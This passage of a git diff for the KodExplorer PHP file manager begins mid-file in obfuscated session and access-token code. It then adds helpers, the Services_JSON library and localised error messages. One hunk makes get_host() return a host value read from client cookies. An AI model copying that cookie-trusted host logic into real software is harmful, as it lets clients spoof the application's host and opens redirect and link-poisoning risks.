').base64_decode('bWlz')._kstr2('*g]`VV0#f2')._kstr2('2ңl')._kstr2('-')."\160\150"."\x70\x2e\x69\x6e"."\151\357\274\214\351\234\200\350"._kstr2('*utٕ')."\x9d\x97"."\x3a\x20\x3c\x62\x72\x2f\x3e\x3c"._kstr2('/a_-TTbbb^X').base64_decode('bixqc29uLGN1cmws')._kstr2('1eRSVZ`O')._kstr2('1_a')._kstr2('1[VTQY]N')._kstr2('1T').base64_decode('ZCxw')._kstr2('/S')._kstr2('0]')._kstr2('/_^S\\bh')._kstr2('2X]dY')._kstr2('1)Y]R_)+_O+')); } if (isset($_GET[_kstr2('*WUYWggcHY_b')])) { access_token_check($_GET[_kstr2('-TRVTdd`EV\\_')]); } else { if (isset($_GET[base64_decode('YWNjZXNzX3Rva2Vu')])) { access_token_check($_GET["\141\143\143\145\163\163\137\164\157\153\145\156"]); } else { @session_name(SESSION_ID); } } $D = @session_save_path(); if (class_exists(_kstr2('.QCCU_dQbUW')) || defined(_kstr2('1.@L2=.;=:.2')) || defined("\123\105\123\123\111\117\116\137\120\101\124"._kstr2('2K410-28A@')) || @ini_get("\x73\x65\x73\x73\x69\x6f\x6e\x2e\x73"._kstr2(',hSQWSZ')._kstr2(')YcZag')) != _kstr2('.YVU\\c') || isset($_SERVER[base64_decode('SFRUUF9BUFBOQQ==')._kstr2('):B')])) { } else { chmod_path(KOD_SESSION, 511); @session_save_path(KOD_SESSION); } @session_start(); $_SESSION[_kstr2('*c_X')] = 1; @session_write_close(); unset($_SESSION); @session_start(); if (!$_SESSION[_kstr2('-`\\U')]) { @session_save_path($D); @session_start(); $_SESSION[base64_decode('a29k')] = 1; @session_write_close(); unset($_SESSION); @session_start(); } if (!$_SESSION[_kstr2('*c_X')]) { show_tips("\xe6\x9c\x8d\xe5\x8a\xa1\xe5\x99\xa8\x73"."\145\163\163\151\157\156\345\206"._kstr2('*').base64_decode('5YWl5aSx6LSlIQ==')._kstr2('.Uccc_Y')._kstr2('2Z')._kstr2('+ejg\\XeXe')._kstr2('/a^')."\51\74\142\162\57\76" . _kstr2('(ܭvff^').base64_decode('LmluaeebuOWFsw==')._kstr2(')z܂!')._kstr2('/').base64_decode('peeci+c=')."\243\201\347\233\230\346\230\257".base64_decode('5ZCm5bey5ruhLA==')."\346\210\226\345\222\250\350\257\242\346"."\x9c\x8d\xe5\x8a\xa1\xe5\x95\x86".base64_decode('44A=')._kstr2('/+qaQ-Q+a-') . _kstr2('2Q___[UZM_')._kstr2('2Qb\\K')._kstr2(',fS/Z') . $D . "\x3c\x62\x72\x2f\x3e" . _kstr2('+Xfffb\\!aTfi')._kstr2('(U[W^Zd[b3h') . @ini_get("\x73\x65\x73\x73\x69\x6f\x6e\x2e\x73\x61\x76"."\x65\x5f\x68\x61\x6e\x64\x6c\x65\x72") . "\x3c\x62\x72\x2f\x3e"); } } function access_token_check($Dܺ) { $aӫ = $GLOBALS[_kstr2('-`TW_XZ')]["\x73\x65\x74\x74\x69\x6e\x67\x53\x79\x73\x74\x65"."\x6d"][_kstr2('*mghgaYUDgg')."\167\157\162\144"]; $aӫ = $GLOBALS[_kstr2('2a__N^`')]($GLOBALS["\155\144\65"](_kstr2('-`\\6Uai`]Vc')._kstr2(')Tg') . $aӫ), 0, 15); $Bȓ = Mcrypt::decode($Dܺ, $aӫ); if (!$Bȓ) { show_tips(_kstr2('0QOSQaa]BSY\\')._kstr2(',Wdd')."\x6f\x72\x21"); } if ($_COOKIE[SESSION_ID] && $_COOKIE[SESSION_ID] !== $Bȓ) { @session_name(SESSION_ID); return; } session_id($Bȓ); } function access_token_get() { $Bȓ = session_id(); $aӫ = $GLOBALS[_kstr2('(eY\\d]_')][_kstr2('/Tbcc]XBVh')._kstr2('+f').base64_decode('dGVt')][base64_decode('c3lzdGVtUGFzcw==')."\167\157\162\144"]; $aӫ = $GLOBALS["\163\165\142\163\164\162"]($GLOBALS[base64_decode('bWQ1')](_kstr2('*c_9Xdlc`Yf')."\162"._kstr2('+R') . $aӫ), 0, 15); $C = Mcrypt::encode($Bȓ, $aӫ, 3600 * 24); return $C; } function init_config() { init_setting(); init_session(); init_space_size_hook(); } diff --git a/app/core/Application.class.php b/app/core/Application.class.php index 86ebc9c..a595fc9 100755 --- a/app/core/Application.class.php +++ b/app/core/Application.class.php @@ -50,17 +50,17 @@ class Application { $classFile = CONTROLLER_DIR . $subDir.$class.'.class.php'; $className = $class;//.'Controller' if (!file_exists_case($classFile)) { - show_tips($class.' controller not exists!'); + show_tips($class.' controller '.LNG("not_exists"),APP_HOST,3); } if (!class_exists($className)) { include_once($classFile); } if (!class_exists($className)) { - show_tips($className.' class not exists'); + show_tips($className.' class '.LNG("not_exists"),APP_HOST,3); } $instance = new $className(); if (!method_exists($instance, $function)) { - show_tips($function.' method not exists'); + show_tips($function.' method '.LNG("not_exists"),APP_HOST,3); } return $instance -> $function(); } diff --git a/app/function/common.function.php b/app/function/common.function.php index 4244b0c..f84c19e 100755 --- a/app/function/common.function.php +++ b/app/function/common.function.php @@ -6,6 +6,9 @@ * @license http://kodcloud.com/tools/license/license.txt */ +if(!isset($config['appStartTime'])){ + $config['appStartTime'] = mtime(); +} function myAutoloader($name) { $find = array( @@ -120,7 +123,7 @@ function filter_html($html){ function in_array_not_case($needle, $haystack) { - return in_array(strtolower($needle),array_map('strtolower',$haystack)); + return in_array(strtolower($needle),array_map('strtolower',$haystack)); } /** @@ -244,6 +247,11 @@ if (!function_exists('gzdecode')) { } } +function xml2json($decodeXml){ + $data = simplexml_load_string($decodeXml,'SimpleXMLElement', LIBXML_NOCDATA); + return json_decode(json_encode($data),true); +} + /** * 二维数组按照指定的键值进行排序, * @@ -257,18 +265,11 @@ if (!function_exists('gzdecode')) { * $out = array_sort_by($array,'price'); */ function array_sort_by($records, $field, $reverse=false){ - $hash = array(); - foreach($records as $record){ - $hash[$record[$field]] = $record; - } - ($reverse)? krsort($hash) : ksort($hash); - - $records = array(); - foreach($hash as $record){ - $records []= $record; - } - return $records; -} + $reverse = $reverse?SORT_DESC:SORT_ASC; + array_multisort(array_column($records,$field),$reverse,$records); + return $records; +} + /** * 遍历数组,对每个元素调用 $callback,假如返回值不为假值,则直接返回该返回值; * 假如每次 $callback 都返回假值,最终返回 false @@ -323,6 +324,43 @@ function array_get_index($arr,$index){ } } +function array_field_values($arr,$field){ + $result = array(); + foreach ($arr as $val) { + if(is_array($val) && isset($val[$field])){ + $result[] = $val[$field]; + } + } + return $result; +} + +// 删除数组某个值 +function array_remove_value($array, $value){ + $isNumericArray = true; + foreach ($array as $key => $item) { + if ($item === $value) { + if (!is_int($key)) { + $isNumericArray = false; + } + unset($array[$key]); + } + } + if ($isNumericArray) { + $array = array_values($array); + } + return $array; +} + +// 获取数组key最大的值 +function array_key_max($array){ + if(count($array)==0){ + return 1; + } + $idArr = array_keys($array); + rsort($idArr,SORT_NUMERIC);//id从高到底 + return intval($idArr[0]); +} + //set_error_handler('errorHandler',E_ERROR|E_PARSE|E_CORE_ERROR|E_COMPILE_ERROR|E_USER_ERROR); register_shutdown_function('fatalErrorHandler'); function errorHandler($err_type,$errstr,$errfile,$errline){ @@ -360,14 +398,14 @@ function show_tips($message,$url= '', $time = 3,$title = ''){ ob_get_clean(); header('Content-Type: text/html; charset=utf-8'); $goto = "content='$time;url=$url'"; - $info = "Auto jump after {$time}s, Click Here"; + $info = "{$time}s 后自动跳转, 立即跳转"; if ($url == "") { $goto = ""; $info = ""; } //是否自动跳转 if($title == ''){ - $title = "警告 (Warning!)"; + $title = "出错了!"; } if(is_array($message) || is_object($message)){ @@ -376,7 +414,11 @@ function show_tips($message,$url= '', $time = 3,$title = ''){ $message = "
".$message.''; }else{ $message = filter_html(nl2br($message)); - } + } + if(file_exists(TEMPLATE.'common/showTips.html')){ + include(TEMPLATE.'common/showTips.html'); + exit; + } echo<<
+ * // create a new instance of Services_JSON
+ * $json = new Services_JSON();
+ *
+ * // convert a complexe value to JSON notation, and send it to the browser
+ * $value = array('foo', 'bar', array(1, 2, 'baz'), array(3, array(4)));
+ * $output = $json->encode($value);
+ *
+ * print($output);
+ * // prints: ["foo","bar",[1,2,"baz"],[3,[4]]]
+ *
+ * // accept incoming POST data, assumed to be in JSON notation
+ * $input = file_get_contents('php://input', 1000000);
+ * $value = $json->decode($input);
+ *
+ */
+class Services_JSON
+{
+ /**
+ * constructs a new JSON instance
+ *
+ * @param int $use object behavior flags; combine with boolean-OR
+ *
+ * possible values:
+ * - SERVICES_JSON_LOOSE_TYPE: loose typing.
+ * "{...}" syntax creates associative arrays
+ * instead of objects in decode().
+ * - SERVICES_JSON_SUPPRESS_ERRORS: error suppression.
+ * Values which can't be encoded (e.g. resources)
+ * appear as NULL instead of throwing errors.
+ * By default, a deeply-nested resource will
+ * bubble up with an error, so all return values
+ * from encode() should be checked with isError()
+ */
+ function __construct($use = 0)
+ {
+ $this->use = $use;
+ }
+
+ /**
+ * convert a string from one UTF-16 char to one UTF-8 char
+ *
+ * Normally should be handled by mb_convert_encoding, but
+ * provides a slower PHP-only method for installations
+ * that lack the multibye string extension.
+ *
+ * @param string $utf16 UTF-16 character
+ * @return string UTF-8 character
+ * @access private
+ */
+ function utf162utf8($utf16)
+ {
+ // oh please oh please oh please oh please oh please
+ if(function_exists('mb_convert_encoding')) {
+ return mb_convert_encoding($utf16, 'UTF-8', 'UTF-16');
+ }
+
+ $bytes = (ord($utf16{0}) << 8) | ord($utf16{1});
+
+ switch(true) {
+ case ((0x7F & $bytes) == $bytes):
+ // this case should never be reached, because we are in ASCII range
+ // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+ return chr(0x7F & $bytes);
+
+ case (0x07FF & $bytes) == $bytes:
+ // return a 2-byte UTF-8 character
+ // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+ return chr(0xC0 | (($bytes >> 6) & 0x1F))
+ . chr(0x80 | ($bytes & 0x3F));
+
+ case (0xFFFF & $bytes) == $bytes:
+ // return a 3-byte UTF-8 character
+ // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+ return chr(0xE0 | (($bytes >> 12) & 0x0F))
+ . chr(0x80 | (($bytes >> 6) & 0x3F))
+ . chr(0x80 | ($bytes & 0x3F));
+ }
+
+ // ignoring UTF-32 for now, sorry
+ return '';
+ }
+
+ /**
+ * convert a string from one UTF-8 char to one UTF-16 char
+ *
+ * Normally should be handled by mb_convert_encoding, but
+ * provides a slower PHP-only method for installations
+ * that lack the multibye string extension.
+ *
+ * @param string $utf8 UTF-8 character
+ * @return string UTF-16 character
+ * @access private
+ */
+ function utf82utf16($utf8)
+ {
+ // oh please oh please oh please oh please oh please
+ if(function_exists('mb_convert_encoding')) {
+ return mb_convert_encoding($utf8, 'UTF-16', 'UTF-8');
+ }
+
+ switch(strlen($utf8)) {
+ case 1:
+ // this case should never be reached, because we are in ASCII range
+ // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+ return $utf8;
+
+ case 2:
+ // return a UTF-16 character from a 2-byte UTF-8 char
+ // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+ return chr(0x07 & (ord($utf8{0}) >> 2))
+ . chr((0xC0 & (ord($utf8{0}) << 6))
+ | (0x3F & ord($utf8{1})));
+
+ case 3:
+ // return a UTF-16 character from a 3-byte UTF-8 char
+ // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+ return chr((0xF0 & (ord($utf8{0}) << 4))
+ | (0x0F & (ord($utf8{1}) >> 2)))
+ . chr((0xC0 & (ord($utf8{1}) << 6))
+ | (0x7F & ord($utf8{2})));
+ }
+
+ // ignoring UTF-32 for now, sorry
+ return '';
+ }
+
+ /**
+ * encodes an arbitrary variable into JSON format
+ *
+ * @param mixed $var any number, boolean, string, array, or object to be encoded.
+ * see argument 1 to Services_JSON() above for array-parsing behavior.
+ * if var is a strng, note that encode() always expects it
+ * to be in ASCII or UTF-8 format!
+ *
+ * @return mixed JSON string representation of input var or an error if a problem occurs
+ * @access public
+ */
+ function encode($var)
+ {
+ switch (gettype($var)) {
+ case 'boolean':
+ return $var ? 'true' : 'false';
+
+ case 'NULL':
+ return 'null';
+
+ case 'integer':
+ return (int) $var;
+
+ case 'double':
+ case 'float':
+ return (float) $var;
+
+ case 'string':
+ // STRINGS ARE EXPECTED TO BE IN ASCII OR UTF-8 FORMAT
+ $ascii = '';
+ $strlen_var = strlen($var);
+
+ /*
+ * Iterate over every character in the string,
+ * escaping with a slash or encoding to UTF-8 where necessary
+ */
+ for ($c = 0; $c < $strlen_var; ++$c) {
+
+ $ord_var_c = ord($var{$c});
+
+ switch (true) {
+ case $ord_var_c == 0x08:
+ $ascii .= '\b';
+ break;
+ case $ord_var_c == 0x09:
+ $ascii .= '\t';
+ break;
+ case $ord_var_c == 0x0A:
+ $ascii .= '\n';
+ break;
+ case $ord_var_c == 0x0C:
+ $ascii .= '\f';
+ break;
+ case $ord_var_c == 0x0D:
+ $ascii .= '\r';
+ break;
+
+ case $ord_var_c == 0x22:
+ case $ord_var_c == 0x2F:
+ case $ord_var_c == 0x5C:
+ // double quote, slash, slosh
+ $ascii .= '\\'.$var{$c};
+ break;
+
+ case (($ord_var_c >= 0x20) && ($ord_var_c <= 0x7F)):
+ // characters U-00000000 - U-0000007F (same as ASCII)
+ $ascii .= $var{$c};
+ break;
+
+ case (($ord_var_c & 0xE0) == 0xC0):
+ // characters U-00000080 - U-000007FF, mask 110XXXXX
+ // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+ $char = pack('C*', $ord_var_c, ord($var{$c + 1}));
+ $c += 1;
+ $utf16 = $this->utf82utf16($char);
+ $ascii .= sprintf('\u%04s', bin2hex($utf16));
+ break;
+
+ case (($ord_var_c & 0xF0) == 0xE0):
+ // characters U-00000800 - U-0000FFFF, mask 1110XXXX
+ // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+ $char = pack('C*', $ord_var_c,
+ ord($var{$c + 1}),
+ ord($var{$c + 2}));
+ $c += 2;
+ $utf16 = $this->utf82utf16($char);
+ $ascii .= sprintf('\u%04s', bin2hex($utf16));
+ break;
+
+ case (($ord_var_c & 0xF8) == 0xF0):
+ // characters U-00010000 - U-001FFFFF, mask 11110XXX
+ // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+ $char = pack('C*', $ord_var_c,
+ ord($var{$c + 1}),
+ ord($var{$c + 2}),
+ ord($var{$c + 3}));
+ $c += 3;
+ $utf16 = $this->utf82utf16($char);
+ $ascii .= sprintf('\u%04s', bin2hex($utf16));
+ break;
+
+ case (($ord_var_c & 0xFC) == 0xF8):
+ // characters U-00200000 - U-03FFFFFF, mask 111110XX
+ // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+ $char = pack('C*', $ord_var_c,
+ ord($var{$c + 1}),
+ ord($var{$c + 2}),
+ ord($var{$c + 3}),
+ ord($var{$c + 4}));
+ $c += 4;
+ $utf16 = $this->utf82utf16($char);
+ $ascii .= sprintf('\u%04s', bin2hex($utf16));
+ break;
+
+ case (($ord_var_c & 0xFE) == 0xFC):
+ // characters U-04000000 - U-7FFFFFFF, mask 1111110X
+ // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+ $char = pack('C*', $ord_var_c,
+ ord($var{$c + 1}),
+ ord($var{$c + 2}),
+ ord($var{$c + 3}),
+ ord($var{$c + 4}),
+ ord($var{$c + 5}));
+ $c += 5;
+ $utf16 = $this->utf82utf16($char);
+ $ascii .= sprintf('\u%04s', bin2hex($utf16));
+ break;
+ }
+ }
+
+ return '"'.$ascii.'"';
+
+ case 'array':
+ /*
+ * As per JSON spec if any array key is not an integer
+ * we must treat the the whole array as an object. We
+ * also try to catch a sparsely populated associative
+ * array with numeric keys here because some JS engines
+ * will create an array with empty indexes up to
+ * max_index which can cause memory issues and because
+ * the keys, which may be relevant, will be remapped
+ * otherwise.
+ *
+ * As per the ECMA and JSON specification an object may
+ * have any string as a property. Unfortunately due to
+ * a hole in the ECMA specification if the key is a
+ * ECMA reserved word or starts with a digit the
+ * parameter is only accessible using ECMAScript's
+ * bracket notation.
+ */
+
+ // treat as a JSON object
+ if (is_array($var) && count($var) && (array_keys($var) !== range(0, sizeof($var) - 1))) {
+ $properties = array_map(array($this, 'name_value'),
+ array_keys($var),
+ array_values($var));
+
+ foreach($properties as $property) {
+ if(Services_JSON::isError($property)) {
+ return $property;
+ }
+ }
+
+ return '{' . join(',', $properties) . '}';
+ }
+
+ // treat it like a regular array
+ $elements = array_map(array($this, 'encode'), $var);
+
+ foreach($elements as $element) {
+ if(Services_JSON::isError($element)) {
+ return $element;
+ }
+ }
+
+ return '[' . join(',', $elements) . ']';
+
+ case 'object':
+ $vars = get_object_vars($var);
+
+ $properties = array_map(array($this, 'name_value'),
+ array_keys($vars),
+ array_values($vars));
+
+ foreach($properties as $property) {
+ if(Services_JSON::isError($property)) {
+ return $property;
+ }
+ }
+
+ return '{' . join(',', $properties) . '}';
+
+ default:
+ return ($this->use & SERVICES_JSON_SUPPRESS_ERRORS)
+ ? 'null'
+ : new Services_JSON_Error(gettype($var)." can not be encoded as JSON string");
+ }
+ }
+
+ /**
+ * array-walking function for use in generating JSON-formatted name-value pairs
+ *
+ * @param string $name name of key to use
+ * @param mixed $value reference to an array element to be encoded
+ *
+ * @return string JSON-formatted name-value pair, like '"name":value'
+ * @access private
+ */
+ function name_value($name, $value)
+ {
+ $encoded_value = $this->encode($value);
+
+ if(Services_JSON::isError($encoded_value)) {
+ return $encoded_value;
+ }
+
+ return $this->encode(strval($name)) . ':' . $encoded_value;
+ }
+
+ /**
+ * reduce a string by removing leading and trailing comments and whitespace
+ *
+ * @param $str string string value to strip of comments and whitespace
+ *
+ * @return string string value stripped of comments and whitespace
+ * @access private
+ */
+ function reduce_string($str){
+ $str = preg_replace(array(
+
+ // eliminate single line comments in '// ...' form
+ '#^\s*//(.+)$#m',
+
+ // eliminate multi-line comments in '/* ... */' form, at start of string
+ '#^\s*/\*(.+)\*/#Us',
+
+ // eliminate multi-line comments in '/* ... */' form, at end of string
+ '#/\*(.+)\*/\s*$#Us'
+
+ ), '', $str);
+
+ // eliminate extraneous space
+ return trim($str);
+ }
+
+ /**
+ * decodes a JSON string into appropriate variable
+ *
+ * @param string $str JSON-formatted string
+ *
+ * @return mixed number, boolean, string, array, or object
+ * corresponding to given JSON input string.
+ * See argument 1 to Services_JSON() above for object-output behavior.
+ * Note that decode() always returns strings
+ * in ASCII or UTF-8 format!
+ * @access public
+ */
+ function decode($str)
+ {
+ $str = $this->reduce_string($str);
+
+ switch (strtolower($str)) {
+ case 'true':
+ return true;
+
+ case 'false':
+ return false;
+
+ case 'null':
+ return null;
+
+ default:
+ $m = array();
+
+ if (is_numeric($str)) {
+ // Lookie-loo, it's a number
+
+ // This would work on its own, but I'm trying to be
+ // good about returning integers where appropriate:
+ // return (float)$str;
+
+ // Return float or int, as appropriate
+ return ((float)$str == (integer)$str)
+ ? (integer)$str
+ : (float)$str;
+
+ } elseif (preg_match('/^("|\').*(\1)$/s', $str, $m) && $m[1] == $m[2]) {
+ // STRINGS RETURNED IN UTF-8 FORMAT
+ $delim = substr($str, 0, 1);
+ $chrs = substr($str, 1, -1);
+ $utf8 = '';
+ $strlen_chrs = strlen($chrs);
+
+ for ($c = 0; $c < $strlen_chrs; ++$c) {
+
+ $substr_chrs_c_2 = substr($chrs, $c, 2);
+ $ord_chrs_c = ord($chrs{$c});
+
+ switch (true) {
+ case $substr_chrs_c_2 == '\b':
+ $utf8 .= chr(0x08);
+ ++$c;
+ break;
+ case $substr_chrs_c_2 == '\t':
+ $utf8 .= chr(0x09);
+ ++$c;
+ break;
+ case $substr_chrs_c_2 == '\n':
+ $utf8 .= chr(0x0A);
+ ++$c;
+ break;
+ case $substr_chrs_c_2 == '\f':
+ $utf8 .= chr(0x0C);
+ ++$c;
+ break;
+ case $substr_chrs_c_2 == '\r':
+ $utf8 .= chr(0x0D);
+ ++$c;
+ break;
+
+ case $substr_chrs_c_2 == '\\"':
+ case $substr_chrs_c_2 == '\\\'':
+ case $substr_chrs_c_2 == '\\\\':
+ case $substr_chrs_c_2 == '\\/':
+ if (($delim == '"' && $substr_chrs_c_2 != '\\\'') ||
+ ($delim == "'" && $substr_chrs_c_2 != '\\"')) {
+ $utf8 .= $chrs{++$c};
+ }
+ break;
+
+ case preg_match('/\\\u[0-9A-F]{4}/i', substr($chrs, $c, 6)):
+ // single, escaped unicode character
+ $utf16 = chr(hexdec(substr($chrs, ($c + 2), 2)))
+ . chr(hexdec(substr($chrs, ($c + 4), 2)));
+ $utf8 .= $this->utf162utf8($utf16);
+ $c += 5;
+ break;
+
+ case ($ord_chrs_c >= 0x20) && ($ord_chrs_c <= 0x7F):
+ $utf8 .= $chrs{$c};
+ break;
+
+ case ($ord_chrs_c & 0xE0) == 0xC0:
+ // characters U-00000080 - U-000007FF, mask 110XXXXX
+ //see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+ $utf8 .= substr($chrs, $c, 2);
+ ++$c;
+ break;
+
+ case ($ord_chrs_c & 0xF0) == 0xE0:
+ // characters U-00000800 - U-0000FFFF, mask 1110XXXX
+ // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+ $utf8 .= substr($chrs, $c, 3);
+ $c += 2;
+ break;
+
+ case ($ord_chrs_c & 0xF8) == 0xF0:
+ // characters U-00010000 - U-001FFFFF, mask 11110XXX
+ // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+ $utf8 .= substr($chrs, $c, 4);
+ $c += 3;
+ break;
+
+ case ($ord_chrs_c & 0xFC) == 0xF8:
+ // characters U-00200000 - U-03FFFFFF, mask 111110XX
+ // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+ $utf8 .= substr($chrs, $c, 5);
+ $c += 4;
+ break;
+
+ case ($ord_chrs_c & 0xFE) == 0xFC:
+ // characters U-04000000 - U-7FFFFFFF, mask 1111110X
+ // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+ $utf8 .= substr($chrs, $c, 6);
+ $c += 5;
+ break;
+
+ }
+
+ }
+
+ return $utf8;
+
+ } elseif (preg_match('/^\[.*\]$/s', $str) || preg_match('/^\{.*\}$/s', $str)) {
+ // array, or object notation
+
+ if ($str{0} == '[') {
+ $stk = array(SERVICES_JSON_IN_ARR);
+ $arr = array();
+ } else {
+ if ($this->use & SERVICES_JSON_LOOSE_TYPE) {
+ $stk = array(SERVICES_JSON_IN_OBJ);
+ $obj = array();
+ } else {
+ $stk = array(SERVICES_JSON_IN_OBJ);
+ $obj = new stdClass();
+ }
+ }
+
+ array_push($stk, array('what' => SERVICES_JSON_SLICE,
+ 'where' => 0,
+ 'delim' => false));
+
+ $chrs = substr($str, 1, -1);
+ $chrs = $this->reduce_string($chrs);
+
+ if ($chrs == '') {
+ if (reset($stk) == SERVICES_JSON_IN_ARR) {
+ return $arr;
+
+ } else {
+ return $obj;
+
+ }
+ }
+
+ //print("\nparsing {$chrs}\n");
+
+ $strlen_chrs = strlen($chrs);
+
+ for ($c = 0; $c <= $strlen_chrs; ++$c) {
+
+ $top = end($stk);
+ $substr_chrs_c_2 = substr($chrs, $c, 2);
+
+ if (($c == $strlen_chrs) || (($chrs{$c} == ',') && ($top['what'] == SERVICES_JSON_SLICE))) {
+ // found a comma that is not inside a string, array, etc.,
+ // OR we've reached the end of the character list
+ $slice = substr($chrs, $top['where'], ($c - $top['where']));
+ array_push($stk, array('what' => SERVICES_JSON_SLICE, 'where' => ($c + 1), 'delim' => false));
+ //print("Found split at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n");
+
+ if (reset($stk) == SERVICES_JSON_IN_ARR) {
+ // we are in an array, so just push an element onto the stack
+ array_push($arr, $this->decode($slice));
+
+ } elseif (reset($stk) == SERVICES_JSON_IN_OBJ) {
+ // we are in an object, so figure
+ // out the property name and set an
+ // element in an associative array,
+ // for now
+ $parts = array();
+
+ if (preg_match('/^\s*(["\'].*[^\\\]["\'])\s*:\s*(\S.*),?$/Uis', $slice, $parts)) {
+ // "name":value pair
+ $key = $this->decode($parts[1]);
+ $val = $this->decode($parts[2]);
+
+ if ($this->use & SERVICES_JSON_LOOSE_TYPE) {
+ $obj[$key] = $val;
+ } else {
+ $obj->$key = $val;
+ }
+ } elseif (preg_match('/^\s*(\w+)\s*:\s*(\S.*),?$/Uis', $slice, $parts)) {
+ // name:value pair, where name is unquoted
+ $key = $parts[1];
+ $val = $this->decode($parts[2]);
+
+ if ($this->use & SERVICES_JSON_LOOSE_TYPE) {
+ $obj[$key] = $val;
+ } else {
+ $obj->$key = $val;
+ }
+ }
+
+ }
+
+ } elseif ((($chrs{$c} == '"') || ($chrs{$c} == "'")) && ($top['what'] != SERVICES_JSON_IN_STR)) {
+ // found a quote, and we are not inside a string
+ array_push($stk, array('what' => SERVICES_JSON_IN_STR, 'where' => $c, 'delim' => $chrs{$c}));
+ //print("Found start of string at {$c}\n");
+
+ } elseif (($chrs{$c} == $top['delim']) &&
+ ($top['what'] == SERVICES_JSON_IN_STR) &&
+ ((strlen(substr($chrs, 0, $c)) - strlen(rtrim(substr($chrs, 0, $c), '\\'))) % 2 != 1)) {
+ // found a quote, we're in a string, and it's not escaped
+ // we know that it's not escaped becase there is _not_ an
+ // odd number of backslashes at the end of the string so far
+ array_pop($stk);
+ //print("Found end of string at {$c}: ".substr($chrs, $top['where'], (1 + 1 + $c - $top['where']))."\n");
+
+ } elseif (($chrs{$c} == '[') &&
+ in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) {
+ // found a left-bracket, and we are in an array, object, or slice
+ array_push($stk, array('what' => SERVICES_JSON_IN_ARR, 'where' => $c, 'delim' => false));
+ //print("Found start of array at {$c}\n");
+
+ } elseif (($chrs{$c} == ']') && ($top['what'] == SERVICES_JSON_IN_ARR)) {
+ // found a right-bracket, and we're in an array
+ array_pop($stk);
+ //print("Found end of array at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n");
+
+ } elseif (($chrs{$c} == '{') &&
+ in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) {
+ // found a left-brace, and we are in an array, object, or slice
+ array_push($stk, array('what' => SERVICES_JSON_IN_OBJ, 'where' => $c, 'delim' => false));
+ //print("Found start of object at {$c}\n");
+
+ } elseif (($chrs{$c} == '}') && ($top['what'] == SERVICES_JSON_IN_OBJ)) {
+ // found a right-brace, and we're in an object
+ array_pop($stk);
+ //print("Found end of object at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n");
+
+ } elseif (($substr_chrs_c_2 == '/*') &&
+ in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) {
+ // found a comment start, and we are in an array, object, or slice
+ array_push($stk, array('what' => SERVICES_JSON_IN_CMT, 'where' => $c, 'delim' => false));
+ $c++;
+ //print("Found start of comment at {$c}\n");
+
+ } elseif (($substr_chrs_c_2 == '*/') && ($top['what'] == SERVICES_JSON_IN_CMT)) {
+ // found a comment end, and we're in one now
+ array_pop($stk);
+ $c++;
+
+ for ($i = $top['where']; $i <= $c; ++$i)
+ $chrs = substr_replace($chrs, ' ', $i, 1);
+
+ //print("Found end of comment at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n");
+
+ }
+
+ }
+
+ if (reset($stk) == SERVICES_JSON_IN_ARR) {
+ return $arr;
+
+ } elseif (reset($stk) == SERVICES_JSON_IN_OBJ) {
+ return $obj;
+
+ }
+ }
+ }
+ }
+
+ /**
+ * @todo Ultimately, this should just call PEAR::isError()
+ */
+ function isError($data, $code = null){
+ if (class_exists('pear')) {
+ return PEAR::isError($data, $code);
+ } elseif (is_object($data) && (get_class($data) == 'services_json_error' ||
+ is_subclass_of($data, 'services_json_error'))) {
+ return true;
+ }
+ return false;
+ }
+}
+
+if (class_exists('PEAR_Error')) {
+ class Services_JSON_Error extends PEAR_Error{
+ function __construct($message = 'unknown error', $code = null,
+ $mode = null, $options = null, $userinfo = null){
+ parent::PEAR_Error($message, $code, $mode, $options, $userinfo);
+ }
+ }
+} else {
+ class Services_JSON_Error{
+ function __construct($message = 'unknown error', $code = null,
+ $mode = null, $options = null, $userinfo = null){
+ }
+ }
+}
\ No newline at end of file
diff --git a/app/function/web.function.php b/app/function/web.function.php
index 17426c7..c5b81a2 100755
--- a/app/function/web.function.php
+++ b/app/function/web.function.php
@@ -41,6 +41,12 @@ function get_url_link($url){
$port = (empty($res["port"]) || $res["port"] == '80')?'':':'.$res["port"];
return $res['scheme']."://".$res["host"].$port.$res['path'];
}
+function get_url_root($url){
+ if(!$url) return "";
+ $res = parse_url($url);
+ $port = (empty($res["port"]) || $res["port"] == '80')?'':':'.$res["port"];
+ return $res['scheme']."://".$res["host"].$port.'/';
+}
function get_url_domain($url){
if(!$url) return "";
$res = parse_url($url);
@@ -48,6 +54,11 @@ function get_url_domain($url){
}
function get_host() {
+ //兼容子目录反向代理:只能是前端js通过cookie传入到后端进行处理
+ if(isset($_COOKIE['HOST']) && isset($_COOKIE['APP_HOST'])){
+ return $_COOKIE['HOST'];
+ }
+
$protocol = (!empty($_SERVER['HTTPS'])
&& $_SERVER['HTTPS'] !== 'off'
|| $_SERVER['SERVER_PORT'] === 443) ? 'https://' : 'http://';
@@ -96,7 +107,7 @@ function is_wap(){
if(!isset($_SERVER['HTTP_USER_AGENT'])){
return false;
}
